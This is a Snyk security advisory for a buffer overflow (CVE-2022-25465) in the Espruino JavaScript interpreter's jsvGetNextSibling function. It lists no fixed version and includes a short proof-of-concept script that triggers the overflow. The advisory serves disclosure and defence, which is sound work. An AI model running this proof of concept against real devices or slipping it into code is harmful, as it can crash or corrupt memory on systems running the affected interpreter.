Buffer Overflow Affecting espruino/espruino package, versions [0,]


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.13% (50th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-UNMANAGED-ESPRUINOESPRUINO-2419095
  • published7 Mar 2022
  • disclosed7 Mar 2022
  • creditQ1IQ

Introduced: 7 Mar 2022

CVE-2022-25465  (opens in a new tab)
CWE-119  (opens in a new tab)
CWE-120  (opens in a new tab)

How to fix?

There is no fixed version for espruino/espruino.

Overview

Affected versions of this package are vulnerable to Buffer Overflow in src/jsvar.c via the jsvGetNextSibling function.

PoC

function main() {
    var foo = Int16Array(31860);
    var buf = foo.reduce(Array);
}

main();

References

CVSS Scores

version 3.1